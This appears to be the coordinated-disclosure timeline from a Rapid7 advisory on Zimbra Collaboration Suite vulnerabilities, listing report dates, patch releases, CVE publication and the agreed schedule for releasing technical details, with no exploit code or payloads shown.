April 17, 2026: Rapid7 submitted its first report of 23 vulnerabilities to Zimbra, including the three iCalendar findings and the original loginAs delegation flaw.
-
July 20, 2026: ZCS 10.1.20 blocked the original CVE-2026-50054 request path.
-
August 19, 2026: Rapid7 submitted a second report of 32 new findings, including the four XSS vulnerabilities covered here and the bypass of the CVE-2026-50054 fix.
-
August 31, 2026: Rapid7 and Zimbra conferred via video call to prioritize remediation and discuss patch verification.
-
September 8, 2026: Rapid7 submitted a third report containing 25 lower-priority findings.
-
September 17–18, 2026: Zimbra requested 90 days from receipt of the August report before publication of full technical details. Rapid7 agreed to hold those details until November 23, 2026.
-
September 24, 2026: ZCS 10.1.21 fixed CVE-2026-93641, CVE-2026-93642 and CVE-2026-93647. Rapid7 presented selected findings and attack chains at BruCON in Signed, Sealed, Compromised: Weaponizing Enterprise Mail Infrastructure.
-
September 29, 2026: Rapid7 notified Zimbra that four CVE records had been published for findings listed as patched in its advisories.
-
October 23, 2026: Rapid7 shared the published CVE records, revised scores and record scopes, and requested clarification of the previously reported data-source SSRF duplicate.
-
October 30, 2026: Zimbra requested clarification of several revised CVSS scores and the remaining disclosure schedule.
-
November 4, 2026: Rapid7 supplied the scoring rationale, PoCs and additional test results, confirmed that technical publication would begin after the agreed November 23 hold, and committed to advance notice of specific publication dates.
-
November 27, 2026: Rapid7 shared updated CVE details for the previously reported findings, followed up on outstanding duplicate and patch-status questions, and confirmed the December 2, 9 and 16 publication schedule.
-
December 2, 2026: Zimbra released ZCS 10.1.22, which addresses NGINX vulnerabilities but adds no fixes for the outstanding findings reported by Rapid7.
-
December 2, 2026: This disclosure blog. Rapid7 published the full technical details and PoCs for the vulnerabilities reported on April 17th and August 19th.